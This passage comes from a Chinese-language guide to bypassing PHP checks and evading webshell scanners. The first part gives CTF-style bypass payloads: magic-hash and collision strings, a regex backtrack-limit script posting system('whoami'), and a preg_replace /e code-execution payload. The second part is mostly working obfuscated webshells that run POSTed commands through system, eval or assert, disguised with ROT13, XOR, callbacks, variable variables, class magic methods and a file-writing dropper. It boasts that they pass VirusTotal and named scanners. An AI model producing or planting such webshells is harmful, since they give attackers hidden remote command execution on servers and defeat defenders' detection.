827 | PHP在处理哈希字符串时通过 `!=` 或 `==` 来对哈希值进行比较,会把每一个以0e开头的哈希值都解释为0,所以如果两个不同的密码的哈希值都是以0e开头的,那么PHP将会认为他们都是0,也就相同了,常见的 `md5()` 绕过如下:
828 |
829 | ```
830 | QNKCDZO ==> 0e830400451993494058024219903391
831 | 240610708 ==> 0e462097431906509019562988736854
832 | s155964671a ==> 0e342768416822451524974117254469
833 | s214587387a ==> 0e848240448830537924465865611904
834 | s878926199a ==> 0e545993274517709034328855841020
835 | s1091221200a ==> 0e940624217856561557816327384675
836 | ```
837 |
838 | 同样还有 `sha1()` 的绕过:
839 |
840 | ```
841 | aaK1STfY ==> 0e76658526655756207688271159624026011393
842 | aaO8zKZF ==> 0e89257456677279068558073954252716165668
843 | ```
844 |
845 | ### 8.2 MD5函数绕过
846 |
847 | ```php
848 | if (isset($_GET['sum1']) and isset($_GET['sum2'])) {
849 | if ($_GET['sum1'] == $_GET['sum2'])
850 | echo "sum1 不能等同于 sum2";
851 | else if (md5($_GET['sum1']) === md5($_GET['sum2'])) {
852 | die("sum1 的MD5值等于 sum2 的MD5值,恭喜你成功绕过!");
853 | }else
854 | print '错误';
855 | }
856 | ```
857 |
858 | `md5()` 函数无法获取到数组的值,默认数组为0,这个方法同样可以绕过 `sha1()` 函数,所以Payload如下
859 |
860 | ```
861 | sum1[]=123&sum2[]=456
862 | ```
863 |
864 | ### 8.3 MD5函数强类型绕过
865 |
866 | ```php
867 | if (isset($_GET['sum1']) and isset($_GET['sum2'])) {
868 | if ((string)$_GET['sum1'] !== (string)$_GET['sum2']) {
869 | if (md5($_GET['sum1']) === md5($_GET['sum2']))
870 | die("sum1 的MD5值等于 sum2 的MD5值,恭喜你成功绕过!");
871 | }else
872 | print '错误';
873 | }
874 | ```
875 |
876 | 这里使用数组就不可行,因为会转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串:
877 |
878 | ```
879 | sum1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
880 | sum2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
881 | ```
882 |
883 | 或者
884 |
885 | ```
886 | sum1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
887 | sum2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
888 | ```
889 |
890 | ### 8.4 SHA1函数强类型绕过
891 |
892 | ```php
893 | if (isset($_GET['sum1']) and isset($_GET['sum2'])) {
894 | if ((string)$_GET['sum1'] !== (string)$_GET['sum2']) {
895 | if (sha1($_GET['sum1']) === sha1($_GET['sum2']))
896 | die("sum1 的SHA1值等于 sum2 的SHA1值,恭喜你成功绕过!");
897 | }else
898 | print '错误';
899 | }
900 | ```
901 |
902 | 构造两个SHA1值相同的不同字符串:
903 |
904 | ```
905 | sum1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
906 | sum2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
907 | ```
908 |
909 | ### 8.5 `preg_match`函数绕过
910 |
911 | ```php
912 | preg_match ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false
913 | ```
914 |
915 | **`preg_match()` 函数是PHP中用于匹配正则表达式的函数之一,该函数用来检索字符串中是否存在符合正则表达式模式的子字符串,并将结果存储在一个数组中,返回值是匹配成功的次数**
916 |
917 | - pattern:正则表达式模式,如 `'/^[a-zA-Z0-9_]+$/'`
918 | - subject:要匹配的字符串,如 `hello world`
919 | - matches:存储匹配结果的数组,可以省略不写,也可以在函数外先定义后写入
920 |
921 | #### 8.5.1 `/m` 绕过
922 |
923 | ```php
924 | preg_match('/^php$/im',$sum);
925 | ```
926 |
927 | `/m` 是多行匹配,但是当出现换行符 `%0a` 的时候会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略
928 |
929 | #### 8.5.2 数组绕过
930 |
931 | `preg_match()` 函数无法处理数组,导致被绕过
932 |
933 | ```php
934 | if(isset($_GET['num'])) {
935 | $num = $_GET['num'];
936 | if(preg_match("/[0-9]/", $num)) {
937 | die("No Number!");
938 | }
939 | if(intval($num)) {
940 | echo 'Yes!';
941 | }
942 | }
943 | ```
944 |
945 | 绕过Payload:`?num[]=1`
946 |
947 | #### 8.5.3 回溯绕过
948 |
949 | PHP正则利用的是NFA(非确定性有限自动机),想了解这个的可以百度找相关文章
950 |
951 | - 遇到 `.*` 或者 `.+` ==> 直接匹配字符串末尾,然后一个个回溯,与之后的模式比较
952 | - 遇到 `.*?` 或者 `.+?` ==> 非贪婪模式,在匹配到符合的字符串就停止 ==> 由下一个模式匹配 ==> 下一个模式不符合,回溯 ==> 再由 `.*?` 匹配直到下一个模式符合
953 |
954 | ```php
955 | if (isset($_POST['f'])) {
956 | $f = $_POST['f'];
957 | if (preg_match('/<\?.*[(`;?>].*/is', $f)) {
958 | die('发现敏感字符串');
959 | }
960 | if (stripos($f, 'system(') == False) {
961 | die('不允许system');
962 | }
963 | eval($_POST['f']);
964 | echo '恭喜你成功绕过';
965 | }
966 | ```
967 |
968 | 注:PHP为了防止正则表达式的拒绝服务攻击(reDOS),给 `pcre` 设定了一个回溯次数上限 `pcre.backtrack_limit`,可以通过以下代码查看当前环境下的上限:
969 |
970 | ```php
971 | var_dump(ini_get('pcre.backtrack_limit'));
972 | ```
973 |
974 | 回溯次数上限默认是100万,如果回溯次数超过了100万,`preg_match` 返回的便不再是0或1,而是 `false`
975 |
976 | 可以写一个Python脚本来使回溯次数超出 `pcre.backtrack_limit` 限制从而绕过WAF:
977 |
978 | ```python
979 | import requests
980 |
981 | url = 'http://***.***.***/WebShell-Bypass-Guide/test.php'
982 | data = {
983 | 'f': 'system(\'whoami\');//'+'Aabyss'*166667
984 | }
985 | reponse = requests.post(url, data=data)
986 | print(reponse.text)
987 | ```
988 |
989 | ### 8.6 `preg_replace`函数绕过
990 |
991 | `preg_replace` 是一个PHP中的函数,主要用于对某个字符串,执行符合自定义正则表达式的搜索和替换,主要格式如下:
992 |
993 | ```php
994 | preg_replace(正则表达式,主字符串); //搜索符合正则表达式的内容
995 | preg_replace(正则表达式,替换字符串,主字符串); //替换符合正则表达式的内容
996 | ```
997 |
998 | 但这个函数可以被拿来恶意利用,产生PHP代码执行从而RCE:
999 |
1000 | ```php
1001 | if (isset($_GET['a'])) {
1002 | echo "这是一个Demo";
1003 | echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
1004 | } else {
1005 | die("做不出来也没关系啦");
1006 | }
1007 | ```
1008 |
1009 | 众所周知,正则表达式可以使用一些修饰符列如 `i`/`m`/`g` 之类,而 `e` 就比较特殊:`/e` 修饰符会将替换字符串**作为PHP代码执行**
1010 |
1011 | Payload构造:`?a=/[0-9]/e&b=system('whoami')&c=1`
1012 |
1013 | ### 8.7 `strpos()` 函数绕过
1014 |
1015 | ```php
1016 | strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int
1017 | ```
1018 |
1019 | **`stripos()` 用来查找字符串中某部分字符串首次出现的位置(不区分大小写)**
1020 |
1021 | `strpos()` 函数如果传入数组,便会返回NULL
1022 |
1023 | ### 8.8 `ereg()` 函数绕过
1024 |
1025 | ```php
1026 | int ereg(string pattern, string originalstring, [array regs]);
1027 | ```
1028 |
1029 | **`ereg()` 函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则返回false,搜索字母的字符是大小写敏感的**
1030 |
1031 | - `ereg()` 函数存在NULL截断漏洞,可以 `%00` 截断,遇到 `%00` 则默认为字符串的结束,所以可以绕过一些正则表达式的检查
1032 | - `ereg()` 只能处理字符串,遇到数组做参数返回NULL
1033 | - 空字符串的类型是string,NULL的类型是NULL,false、true是Boolean类型
1034 |
1035 | ### 8.9 `strcmp()` 函数绕过
1036 |
1037 | ```php
1038 | strcmp ( string $str1 , string $str2 ) : int
1039 | ```
1040 |
1041 | **`strcmp()` 函数是string compare(字符串比较)的缩写,用于比较两个字符串(区分大小写)并根据比较结果返回整数**
1042 |
1043 | 如果 `str1` 小于 `str2` 返回 < 0; 如果 `str1` 大于 `str2` 返回 > 0;如果两者相等,返回 0。
1044 |
1045 | `strcmp()` 函数是比较字符串类型的,但如果输入其他类型这个函数将发生错误,会返回NULL
1046 |
1047 | ```php
1048 | $pass = @$_POST['pass'];
1049 | $truepass = $flag; //不知道的密码参数
1050 | if (isset($pass)) {
1051 | if (@!strcmp($pass, $truepass)) {
1052 | echo "成功绕过,登录系统成功";
1053 | }else {
1054 | echo "密码错误";
1055 | }
1056 | }else{
1057 | echo "请输入密码";
1058 | }
1059 | ```
1060 |
1061 | 这里通过传入数组也可以让结果返回NULL,NULL再取反为TRUE
1062 |
1063 | ```php
1064 | pass[]=Aabyss
1065 | ```
1066 |
1067 | ### 8.10 PHP变量名和传参特性
1068 |
1069 | #### 8.10.1 PHP的变量名特性
1070 |
1071 | ```php
1072 | if ($_GET['po_p.er'] === "w_ai_tan_ji") {
1073 | echo "恭喜你传参成功";
1074 | }
1075 | else{
1076 | die('你失败了');
1077 | }
1078 | ```
1079 |
1080 | 这是最近CTF遇到的一道题,但 `$_GET['po_p.er']` 无法传入参数,这是因为PHP变量名应该只有数字、字母、下划线;而GET或POST方式传进去的变量名,会自动将以下内容自动转换为 `_`:
1081 |
1082 | ```php
1083 | 空格 + . [
1084 | ```
1085 |
1086 | 但其中有特殊情况:GET或POST方式传参时,变量名中的 `[` 会被替换为 `_`,重点是它后面的字符就不会被替换了,那可以构造以下Payload:
1087 |
1088 | ```php
1089 | po[p.er=w_ai_tan_ji
1090 | ```
1091 |
1092 | #### 8.10.2 PHP数字可与字符做运算
1093 |
1094 | 在PHP中,数字是可以和命令进行一些运算的,比如 `1-phpinfo()-2` 是可以成功执行phpinfo语句,同样的还有以下运算符:
1095 |
1096 | ```php
1097 | + - * | %
1098 | ```
1099 |
1100 | 那我们不妨看以下代码:
1101 |
1102 | ```php
1103 | $a = (String)$_GET['a'];
1104 | $b = (String)$_GET['b'];
1105 | $c = (String)$_GET['c'];
1106 | if(is_numeric($a) && is_numeric($c)){
1107 | echo "$a$b$c = ".$code;
1108 | $code = eval("return $a$b$c;");
1109 | }
1110 | ```
1111 |
1112 | 构造Payload如下:
1113 |
1114 | ```php
1115 | a=1&b=-phpinfo()-&c=2
1116 | ```
1117 |
1118 |
1119 | # 三、Webshell免杀
1120 |
1121 | ## 学习后的免杀效果
1122 |
1123 | 学习本手册后,可以达到如下效果,当然这只是拿其中的一个简单的例子进行测试的,感兴趣的可以深入学习并自由组合
1124 |
1125 | #### 牧云Webshell检测引擎:
1126 |
1127 | 
1128 |
1129 | #### 微步在线云沙箱:
1130 |
1131 | 
1132 |
1133 | 
1134 |
1135 | #### 河马WebShell在线查杀:
1136 |
1137 | 
1138 |
1139 | #### 百度WEBDIR+在线查杀:
1140 |
1141 | 
1142 |
1143 | #### 大名鼎鼎的VirusTotal:
1144 |
1145 | 
1146 |
1147 | ## 0# 免杀思路概述
1148 |
1149 | 首先,要知己知彼,才能针对性做出策略来使得WebShell成功免杀
1150 |
1151 | ### 0.1 WebShell查杀思路
1152 |
1153 | 对于WebShell的查杀思路,大致有以下几种:
1154 |
1155 | - 分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
1156 | - 语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
1157 | - 机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
1158 | - 动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。
1159 |
1160 | ### 0.2 WebShell整体免杀思路
1161 |
1162 | 而对于最常见也是最简单的WebShell,即一句话木马,都是以下形式存在的:
1163 |
1164 | 
1165 |
1166 | **而我们要做的是:通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀**
1167 |
1168 | ### 0.3 WebShell免杀注意点
1169 |
1170 | #### 0.3.1 `eval()` 高危函数
1171 |
1172 | `eval()` 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用
1173 |
1174 | > 可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行
1175 |
1176 | 人话:`eval()` 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入
1177 |
1178 | #### 0.3.2 `assert()` 高危函数
1179 |
1180 | 在PHP7 中,`assert ()` 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可,相关的说明如下:
1181 |
1182 | > 在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。 这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
1183 |
1184 | 所以在WebShell免杀这块,我还是更喜欢用 `system()` 高危函数,以下很多案例都是使用 `system()` 来最终执行的
1185 |
1186 | ### 0.4 WebShell免杀测试
1187 |
1188 | - 渊龙Sec团队导航(上面啥都有): [https://dh.aabyss.cn/](https://dh.aabyss.cn/)
1189 | - 长亭百川云WebShell检测:[https://rivers.chaitin.cn/webShell](https://rivers.chaitin.cn/webShell)
1190 | - ~~长亭牧云查杀: [https://stack.chaitin.com/security-challenge/webshell/index](https://stack.chaitin.com/security-challenge/webshell/index)~~
1191 | - 阿里云恶意文件检测平台:[https://ti.aliyun.com/#/webshell](https://ti.aliyun.com/#/webshell)
1192 | - 默安·昆吾WebShell检测平台:[https://ti.moresec.cn/](https://ti.moresec.cn/)
1193 | - ~~阿里伏魔引擎: [https://xz.aliyun.com/zues](https://xz.aliyun.com/zues)~~
1194 | - VirusTotal: [https://www.virustotal.com/gui/home/upload](https://www.virustotal.com/gui/home/upload)
1195 | - 微步在线云沙箱: [https://s.threatbook.com/](https://s.threatbook.com/)
1196 | - 河马WebShell查杀: [https://n.shellpub.com/](https://n.shellpub.com/)
1197 | - ~~百度WEBDIR+: [https://scanner.baidu.com/](https://scanner.baidu.com/)~~
1198 | - D盾: [http://www.d99net.net/](http://www.d99net.net/)
1199 | - 网站安全狗: [http://free.safedog.cn/website_safedog.html](http://free.safedog.cn/website_safedog.html)
1200 |
1201 | 注明:已经划线的是目前网站关闭或者暂时不征集WebShell样本,后续本项目会同步更新
1202 |
1203 | ## 1# 编码绕过
1204 |
1205 | 这算是早期的免杀手法,可以通过编码来绕过WAF的检测,如下:
1206 |
1207 | ### 1.1 Base64编码
1208 |
1209 | ```php
1210 |
1214 | ```
1215 |
1216 | ### 1.2 ASCII编码
1217 |
1218 | ```php
1219 |
1224 | ```
1225 |
1226 | 我们再来看一个ASCII的拓展应用:
1227 |
1228 | ```php
1229 |
1236 | ```
1237 |
1238 | ### 1.3 ROT13编码
1239 |
1240 | ```php
1241 | $f = str_rot13('flfgrz'); //解密后为system高危函数
1242 | $f($_POST['aabyss']); //system($_POST['aabyss']);
1243 | ```
1244 |
1245 | 当然还有很多其他的编码和加密方式,但常见的编码方式都被放入敏感名单了,会根据加密的形式自动进行解密
1246 |
1247 | 可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass
1248 |
1249 | ### 1.4 Gzip压缩加密
1250 |
1251 | 我先举一个 `phpinfo()` 加密后的示例:
1252 |
1253 | ```php
1254 | /*Protected by AabyssZG*/
1255 | eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
1256 | ```
1257 |
1258 | 加密手法可以看我写的博客: [https://blog.zgsec.cn/archives/147.html](https://blog.zgsec.cn/archives/147.html)
1259 |
1260 | ## 2# 字符串混淆处理绕过
1261 |
1262 | ### 2.1 自定义函数混淆字符串
1263 |
1264 | 通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:
1265 |
1266 | ```php
1267 | function confusion($a){
1268 | $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
1269 | $tmp = "";
1270 | while ($a>10) {
1271 | $tmp .= $s[$a%10];
1272 | $a = $a/10;
1273 | }
1274 | return $tmp.$s[$a];
1275 | }
1276 | $f = confusion(976534); //sysTem(高危函数)
1277 | $f($_POST['aabyss']); //sysTem($_POST['aabyss']);
1278 | ```
1279 |
1280 | ### 2.2 自定义函数+文件名混淆
1281 |
1282 | 同样,可以配合文件名玩出一些花活,我们建一个PHP名字为 `976534.php`:
1283 |
1284 | ```php
1285 | function confusion($a){
1286 | $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
1287 | $tmp = "";
1288 | while ($a>10) {
1289 | $tmp .= $s[$a%10];
1290 | $a = $a/10;
1291 | }
1292 | return $tmp.$s[$a];
1293 | }
1294 |
1295 | $f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数)
1296 | //__FILE__为976534.php
1297 | //substr(__FILE__, -10, 6)即从文件名中提取出976534
1298 | //confusion(intval(976534))即输出了sysTem(高危函数),拼接即可
1299 | $f($_POST['aabyss']); //sysTem($_POST['aabyss']);
1300 | ```
1301 |
1302 | 首先先读取文件名,从 `976534.php` 文件名中提取出 `976534` ,然后带入函数中就成功返还 `sysTem` 高危函数了,可以配合其他姿势一起使用,达成免杀效果
1303 |
1304 | ### 2.3 特殊字符串
1305 |
1306 | 主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)
1307 |
1308 | ```php
1309 | $f = 'hello';
1310 | $$f = $_POST['aabyss'];
1311 | eval(``.$hello);
1312 | ```
1313 |
1314 | ## 3# 生成新文件绕过
1315 |
1316 | 这是我之前写的一个免杀,其实原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:
1317 |
1318 | ```php
1319 | $hahaha = strtr("abatme","me","em"); //$hahaha = abatem
1320 | $wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
1321 | $gogogo = strtr('echo "" > ./out.php',"qrwxyK","al(_PO");
1322 | //$gogogo = 'echo "" > ./out.php'
1323 | $wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中
1324 | ```
1325 |
1326 | 现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~
1327 |
1328 | 没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作
1329 |
1330 | ## 4# 回调函数绕过
1331 |
1332 | 通过回调函数,来执行对应的命令,这里举两个例子:
1333 |
1334 | ### 4.1 call_user_func_array()
1335 |
1336 | ```php
1337 | //ASCII编码解密后为assert高危函数
1338 | $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
1339 | call_user_func_array($f, array($_POST['aabyss']));
1340 | ```
1341 |
1342 | ### 4.2 array_map()
1343 |
1344 | ```php
1345 | function fun() {
1346 | //ASCII编码解密后为assert高危函数
1347 | $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
1348 | return ''.$f;
1349 | }
1350 | $user = fun(); //拿到assert高危函数
1351 | $pass =array($_POST['aabyss']);
1352 | array_map($user,$user = $pass );
1353 | ```
1354 |
1355 | 回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用
1356 |
1357 | ## 5# 可变变量绕过
1358 |
1359 | ### 5.1 简单可变变量
1360 |
1361 | 什么叫可变变量呢?看一下具体例子就明白了:
1362 |
1363 | ```php
1364 | $f = 'hello'; //变量名为f,变量值为Hello
1365 | $$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG
1366 | echo $hello; //输出AabyssZG
1367 | ```
1368 |
1369 | 那要怎么利用这个特性呢?如下:
1370 |
1371 | ```php
1372 | $f ='hello';
1373 | $$f = $_POST['aabyss'];
1374 | eval($hello); //eval($_POST['aabyss']);
1375 | ```
1376 |
1377 | ### 5.2 数组+变量引用混淆
1378 |
1379 | 上文提到,可以通过 `compact` 创建一个包含变量名和它们的值的数组
1380 |
1381 | 那就可以用 `compact` 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可
1382 |
1383 | ```php
1384 | $z = "system"; //配合其他姿势,将system高危函数传给z
1385 | $zhixin = &$z;
1386 | $event = 'hahaha';
1387 |
1388 | $result = compact("event", "zhixin"); //通过compact创建数组
1389 | $z = 'wahaha'; //我将变量z进行修改为'wahaha'
1390 |
1391 | $f = $result['zhixin'];
1392 | $f($_POST['aabyss']); //system($_POST['aabyss']);
1393 | ```
1394 |
1395 | 根据5.1学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的
1396 |
1397 | 于是先用变量 `zhixin` 来引用变量 `z` 然后通过 `compact` 创建为数组,接下来再将变量 `z` 附上新的内容 `wahaha` ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 `system` 而是 `wahaha` ,从而达到WebShell免杀
1398 |
1399 | ## 6# 数组绕过
1400 |
1401 | 先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
1402 |
1403 | ### 6.1 一维数组
1404 |
1405 | ```php
1406 | $f = substr_replace("systxx","em",4); //system(高危函数)
1407 | $z = array($array = array('a'=>$f($_GET['aabyss'])));
1408 | var_dump($z);
1409 | ```
1410 |
1411 | 数组内容如下:
1412 |
1413 | ```php
1414 | Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
1415 | ```
1416 |
1417 | ### 6.2 二维数组
1418 |
1419 | ```php
1420 | $f = substr_replace("systxx","em",4); //system(高危函数)
1421 | $z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));
1422 | var_dump($z);
1423 | ```
1424 |
1425 | ## 7# 类绕过
1426 |
1427 | 通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
1428 |
1429 | ### 7.1 单类
1430 |
1431 | ```php
1432 | class Test
1433 | {
1434 | public $_1='';
1435 | function __destruct(){
1436 | system("$this->a");
1437 | }
1438 | }
1439 | $_2 = new Test;
1440 | $_2->$_1 = $_POST['aabyss'];
1441 | ```
1442 |
1443 | ### 7.2 多类
1444 |
1445 | ```php
1446 | class Test1
1447 | {
1448 | public $b ='';
1449 | function post(){
1450 | return $_POST['aabyss'];
1451 | }
1452 | }
1453 | class Test2 extends Test1
1454 | {
1455 | public $code = null;
1456 | function __construct(){
1457 | $code = parent::post();
1458 | system($code);
1459 | }
1460 | }
1461 | $fff = new Test2;
1462 | $zzz = new Test1;
1463 | ```
1464 |
1465 | 主要还是要用一些魔术方法来进行ByPass
1466 |
1467 | ## 8# 嵌套运算绕过
1468 |
1469 | 主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 `system` ,然后动态执行恶意代码之即可
1470 |
1471 | ### 8.1 异或
1472 |
1473 | `^` 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串
1474 |
1475 | ```php
1476 | $f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数
1477 | $f = ('.$.48]' ^ ']]]@]0'); //等同于这样
1478 | $f($_POST['aabyss']);
1479 | ```
1480 |
1481 | 这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:`python3 xxx.py > results.txt`
1482 |
1483 | ```python
1484 | import string
1485 | from urllib.parse import quote
1486 |
1487 | keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
1488 | results = []
1489 |
1490 |
1491 | for i in keys:
1492 | for j in keys:
1493 | asscii_number = i^j
1494 | if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
1495 | if i < 32 and j < 32:
1496 | temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
1497 | results.append(temp)
1498 | elif i < 32 and j >=32:
1499 | temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
1500 | results.append(temp)
1501 | elif i >= 32 and j < 32:
1502 | temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
1503 | results.append(temp)
1504 | else:
1505 | temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
1506 | results.append(temp)
1507 |
1508 | results.sort(key=lambda x:x[1], reverse=False)
1509 |
1510 | for low_case in string.ascii_lowercase:
1511 | for result in results:
1512 | if low_case in result:
1513 | print(result[0])
1514 |
1515 | for upper_case in string.ascii_uppercase:
1516 | for result in results:
1517 | if upper_case in result:
1518 | print(result[0])
1519 | ```
1520 |
1521 | ### 8.2 嵌套运算
1522 |
1523 | 其实嵌套运算在WebShell免杀中算是常客了,让我们来看一下一个 `phpinfo()` 的嵌套运算
1524 |
1525 | ```php
1526 | $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
